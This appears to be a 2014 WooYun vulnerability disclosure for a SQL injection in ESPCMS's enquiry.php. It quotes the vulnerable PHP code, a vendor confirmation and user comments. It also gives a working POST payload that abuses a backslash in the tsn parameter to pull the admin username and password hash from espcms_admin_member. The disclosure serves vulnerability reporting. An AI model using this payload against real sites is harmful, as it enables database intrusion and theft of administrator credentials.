当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-068516

漏洞标题:espcms sql注入漏洞

相关厂商:易思ESPCMS企业网站管理系统

漏洞作者: Noxxx

提交时间:2014-07-15 00:45

修复时间:2014-10-13 00:46

公开时间:2014-10-13 00:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-15: 细节已通知厂商并且等待厂商处理中
2014-07-15: 厂商已经确认,细节仅向厂商公开
2014-07-18: 细节向第三方安全合作伙伴开放
2014-09-08: 细节向核心白帽子及相关领域专家公开
2014-09-18: 细节向普通白帽子公开
2014-09-28: 细节向实习白帽子公开
2014-10-13: 细节向公众公开

简要描述:

sql注入

详细说明:

文件 /interface/enquiry.php :
in_enquirysave 函数中

if (!$this->fun->is_token()) { //这里 可以直接绕过的 
$this->callmessage($this->lng['repeatinput'], $linkURL, $this->lng['gobackbotton']);
}
$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
if ($this->CON['is_enquiry_memclass']) {
parent::member_purview(0, $this->get_link('enquiry', array(), admin_LNG));
}
$cartid = $this->fun->eccode($this->fun->accept('ecisp_enquiry_list', 'C'), 'DECODE', db_pscode);
$cartid = stripslashes(htmlspecialchars_decode($cartid));
$uncartid = !empty($cartid) ? unserialize($cartid) : 0;

$userid = intval($this->fun->accept('userid', 'P'));
$userid = !empty($userid) ? $userid : 0;
$linkman = trim($this->fun->accept('linkman', 'P', true, true));
$linkman = $this->fun->substr($linkman, 20);
$email = $this->fun->accept('email', 'P', true, true);
$sex = $this->fun->accept('sex', 'P');
$sex = empty($sex) ? 0 : intval($sex);
$country = intval($this->fun->accept('cityone', 'P'));
$country = empty($country) ? 0 : $country;
$province = intval($this->fun->accept('citytwo', 'P'));
$province = empty($province) ? 0 : $province;
$city = intval($this->fun->accept('citythree', 'P'));
$city = empty($city) ? 0 : $city;
$district = intval($this->fun->accept('district', 'P'));
$district = empty($district) ? 0 : $district;
$address = trim($this->fun->accept('address', 'P', true, true));
$address = $this->fun->substr($address, 120);
$zipcode = trim($this->fun->accept('zipcode', 'P', true, true));
$zipcode = $this->fun->substr($zipcode, 10);
$tel = trim($this->fun->accept('tel', 'P', true, true));
$tel = $this->fun->substr($tel, 20);
$mobile = trim($this->fun->accept('mobile', 'P', true, true));
$mobile = $this->fun->substr($mobile, 15);
$fax = trim($this->fun->accept('fax', 'P', true, true));
$fax = $this->fun->substr($fax, 15);
$content = trim($this->fun->accept('content', 'P', true, true));
$content = $this->fun->substr($content, 500);
$amount = $this->fun->accept('amount', 'P');
$ptitle = $this->fun->accept('ptitle', 'P');
$tsn = $this->fun->accept('tsn', 'P');
$did = $this->fun->accept('did', 'P');

if (empty($did) || empty($amount) || empty($ptitle)) {
$enquirylink = $this->get_link('enquiry', array(), admin_LNG);
$this->callmessage($this->lng['enquiry_input_err'], $enquirylink, $this->lng['enquiry_into_listbotton']);
}

if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) {
$this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']);
}
$enquirysn = date('YmdHis') . rand(100, 9999);
$db_table = db_prefix . 'enquiry';
$db_table2 = db_prefix . 'enquiry_info';
$addtime = time();
$db_field = 'enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime';
$db_values = "'$enquirysn',$userid,'$linkman',$sex,$country,$province,$city,$district,'$address','$zipcode','$tel','$fax','$mobile','$email','$content',0,$addtime,0";
$this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');
$insert_id = $this->db->insert_id();
$db_values = '';
$arraycount = count($did) - 1;

foreach ($did as $key => $value) {
$value = intval($value);
$amount[$key] = intval($amount[$key]);
if ($key == $arraycount) {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')";
} else {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),";
}
// 关键是这里 和 DZ7.2那个注入漏洞一样 如果 tsn并不是数组的话 他就会 等同于 $XX{a} 我们提交 tsn = \ 绕过转义的限制 从而导致的注入
}
$db_field = 'eid,did,tsn,title,amount,comment';
$this->db->query('INSERT INTO ' . $db_table2 . ' (' . $db_field . ') VALUES ' . $db_values); //进入查询


这里还有就是 userid需要自己提交 did的产品id必须为存在的 产品展示->里面就能找到id
http://127.0.0.1/php/espcmsv/index.php?ac=enquiry&at=enquirysave
tsn=\&userid=3&did[x]=1&amount=1&ptitle[x]=,(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#&email=xxx@qq.com

漏洞证明:

0_1.jpg


0_2.jpg


0_3.jpg

修复方案:

还有问题 就是 前台和后台cookie的加密密匙一样的..比较危险 前台有个地方可以生成加密cookie 变量是可控的 就是 有个问题 导致不成功 . 看了前面几个人提交的漏洞 加密函数这个问题 一直都没修复

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-07-15 11:04

厂商回复:

感谢支持,我们会尽快修复。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-07-15 11:14 | Noxxx ( 普通白帽子 | Rank:509 漏洞数:41 )

    5rank??

  2. 2014-08-05 12:12 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

    官方都不修复了...- -